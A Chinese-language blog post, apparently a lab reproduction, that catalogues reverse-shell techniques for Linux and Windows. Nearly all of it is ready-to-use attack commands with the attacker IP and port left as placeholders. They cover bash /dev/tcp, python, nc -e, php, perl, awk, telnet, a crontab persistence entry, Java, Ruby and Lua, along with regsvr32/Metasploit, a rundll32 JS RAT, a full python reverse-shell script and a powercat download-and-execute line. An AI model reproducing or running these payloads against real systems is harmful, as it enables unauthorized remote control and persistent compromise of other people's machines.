linux/windows反弹shell的利用方式和复现

linux/windows反弹shell的利用方式和复现

1.linux反弹

1.1.Bash反弹

攻击机器命令

1
nc -lvp 攻击机端口

靶机命令

1
bash -i >& /dev/tcp/攻击机ip/攻击机端口 0>&1

效果

image-20210923170215201

1.2.python反弹

攻击机器命令

1
nc -lvp 攻击机端口

靶机命令

1
python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('攻击机ip',攻击机端口));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

效果

image-20210923171211993 image-20210923171229676

1.3.nc反弹

需要靶机安装NC,且nc需要有-e参数(全功能版本),自带版本可能不行需要上传或者安装带-e参数版本

攻击机器命令

1
nc -lvp 攻击机端口

靶机命令

1
nc -e /bin/bash 攻击机ip 攻击机端口

效果

image-20210923172753686 image-20210923172814218

1.4.php反弹

攻击机器命令

1
nc -lvp 攻击机端口

靶机命令

1
php -r '$sock=fsockopen("攻击机ip",攻击机端口);exec("/bin/bash -i <&3 >&3 2>&3");' 

效果

image-20210923213837682 image-20210923213815351

1.5.perl反弹shell

攻击机器命令

1
nc -lvp 攻击机端口

靶机命令

1
perl -e 'use Socket;$i="攻击机ip";$p=攻击机端口;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'

效果

image-20210924100730572 image-20210924100705938

1.6.awk反弹shell

攻击机器命令

1
nc -lvp 攻击机端口

靶机命令

1
awk 'BEGIN{s="/inet/tcp/0/攻击机ip/攻击机端口";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'

效果

image-20210924103720891 image-20210924103830021

1.7.telnet反弹

攻击机器命令

1
2
3
nc -lvp 攻击机端口
nc -lvp 攻击机端口2
//在攻击机端口执行的命令会回显在攻击机端口2

靶机命令

1
telnet 攻击机ip 攻击机端口 | /bin/bash | telnet 攻击机ip 攻击机端口2

效果

image-20210924110120485 image-20210924110205052

1.8.crontab定时任务+python反弹

攻击机器命令

1
nc -lvp 攻击机端口

靶机命令

1
(crontab -l;printf "* * * * *  /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"攻击机ip\",攻击机端口));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n")|crontab -	

效果

image-20210924111618351

image-20210924111653163

1.9.java反弹shell

可能需要先编译类文件,实际我操作直接使用java命令也可

java代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public class Test {
/**
* @param args
* @throws Exception
*/
public static void main(String[] args) throws Exception {
// TODO Auto-generated method stub
Runtime r = Runtime.getRuntime();
String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/攻击机ip/攻击机端口;cat <&5 | while read line; do $line 2>&5 >&5; done"};
Process p = r.exec(cmd);
p.waitFor();
}
}

靶机操作

1
2
3
4
5
touch 1.java
vim 1.java //wq退出保存
##javac 1.java
##java 1
##或直接使用 java 1.java

攻击机操作:

1
nc -lvvp 攻击机端口

效果:

image-20210924141706817 image-20210924142110086 image-20210924142420044

1.10.Ruby反弹shell

靶机命令

1
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("攻击机ip","攻击机端口");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

攻击机命令

1
nc -lvvp 攻击机端口

效果

image-20210924142921750 image-20210924143012492

1.11.rua反弹shell(未复现)

环境需要:

1.lua命令安装

2.默认 FS 的 mod_lua 中没有对socket 的支持,想通过Lua 脚本实现 http,需要添加 socket的支持。

解决方法:luasocket 安装记录 (FS1.6) - 丹江流 - 博客园 (cnblogs.com)

但是我无法下载那个 luasocket-2.0.2

image-20210924144856249

靶机命令

1
lua -e "require('socket');require('os');t=socket.tcp();t:connect('攻击机ip','攻击机端口');os.execute('/bin/sh -i <&3 >&3 2>&3');"

攻击机命令

1
nc -lvvp 攻击机端口

2.Windows反弹shell

2.1 nc反弹

需要把nc上传被控端,或者被控端自带nc

nc正向shell

靶机命令:

1
nc -lvvp 靶机端口 -e cmd.exe

攻击机命令:

1
nc 靶机ip 靶机端口
image-20210924151035750 image-20210924151207188

nc反向shell:

靶机命令:

1
nc -e cmd.exe 攻击机ip 攻击机端口

攻击机命令:

1
nc -lvvp 攻击机端口

这里测试了powershell.exe

image-20210924152312718 image-20210924152246153

2.2 Regsvr32 反弹shell(没复现成功)

介绍:

Regsvr32.exe是一个命令行应用程序,用于注册和注销OLE控件,如Windows注册表中的dll和ActiveX控件。

Regsvr32.exe安装在Windows XP和Windows后续版本的 %systemroot%\System32 文件夹中。

语法:

1
2
3
4
5
Regsvr32 [/s] [/u] [/n][/i[:cmdline]] <dllname>
/u - 注销服务器
/i - 调用DllInstall传递一个可选的[cmdline];当它与/u一起使用时,它调用dll来卸载
/n - 不要调用DllRegisterServer; 此选项必须与/i一起使用
/s - 沉默; 不显示消息框`

使用:msf使用 web_delivery 模块

根据options进行设置

image-20210924155945422
1
2
3
4
5
6
use exploit/multi/script/web_delivery
msf exploit (web_delivery)> set srvhost 攻击机ip
msf exploit (web_delivery)> set target 3
msf exploit (web_delivery)> set payload windows/x64/meterpreter/reverse_tcp
msf exploit (web_delivery)> set lhost 攻击机ip
msf exploit (web_delivery)> exploit -j

随后生成一个命令

image-20210924160240678

在靶机上使用即可,命令形式**(会被杀软杀)**

1
regsvr32 /s /n /u /i:http://192.168.111.128:6666/nGauv3ccOg8WF.sct scrobj.dll

测试执行成功,msf有回显,但是没拿到sessions?

image-20210924160415706 image-20210924160445451

2.2 rundll32命令反弹shell

使用MyJSRat
https://github.com/Ridter/MyJSRat

攻击机运行命令

1
python MyJSRat.py -i  攻击机ip -p 攻击机端口

靶机运行命令

1
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://攻击机ip:攻击机端口/connect",false);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}

效果:

image-20210924161907221 image-20210924161840713

2.3 python反弹shell

python脚本代码(靶机运行)参考反弹shell脚本收集 | C0cho’s blog (choge.top)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
# -*- coding:utf-8 -*-
import os
import select
import socket
import sys
import subprocess

def ReserveConnect(addr, port):
'''shell'''
try:
shell = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
shell.connect((addr,port))
except Exception as reason:
print ('[-] Failed to Create Socket : %s'%reason)
exit(0)
rlist = [shell]
wlist = []
elist = [shell]
while True:
shell.send("cmd:")
rs,ws,es = select.select(rlist,wlist,wlist)
for sockfd in rs:
if sockfd == shell:
command = shell.recv(1024)
if command == 'exit':
shell.close()
break
result, error = subprocess.Popen(command,shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE).communicate()
shell.sendall(result.decode("GB2312").encode("UTF-8"))

# 主函数运行
def run():
if len(sys.argv)<3:
print('Usage: python reverse.py [IP] [PORT]')
else:
url = sys.argv[1]
port = int(sys.argv[2])
ReserveConnect(url,port)

if __name__ == '__main__':
run()

靶机运行

1.若没有python,可以封装成exe在靶机上运行

封装

1
pythinstaller -Fw  脚本名.py

使用

1
xxx.exe 攻击机ip 攻击机端口

2.python直接运行

1
python 脚本名.py 攻击机ip 攻击机端口

攻击机运行nc即可

攻击机命令:

1
nc -lvvp 攻击机端口

效果:

image-20210924163150141 image-20210924163220775

2.4 powershell反弹powershell(使用powercat)

powercat github地址:besimorhino/powercat: netshell features all in version 2 powershell (github.com)

需要执行:Set-ExecutionPolicy RemoteSigned

设置包含可执行脚本

image-20210924165941195

靶机运行命令

1
powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); powercat -c 攻击机ip -p 攻击机端口 -e cmd

攻击机nc监听即可


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!,本博客仅用于交流学习,由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。 文章作者拥有对此站文章的修改和解释权。如欲转载此站文章,需取得作者同意,且必须保证此文章的完整性,包括版权声明等全部内容。未经文章作者允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。若造成严重后果,本人将依法追究法律责任。 阅读本站文章则默认遵守此规则。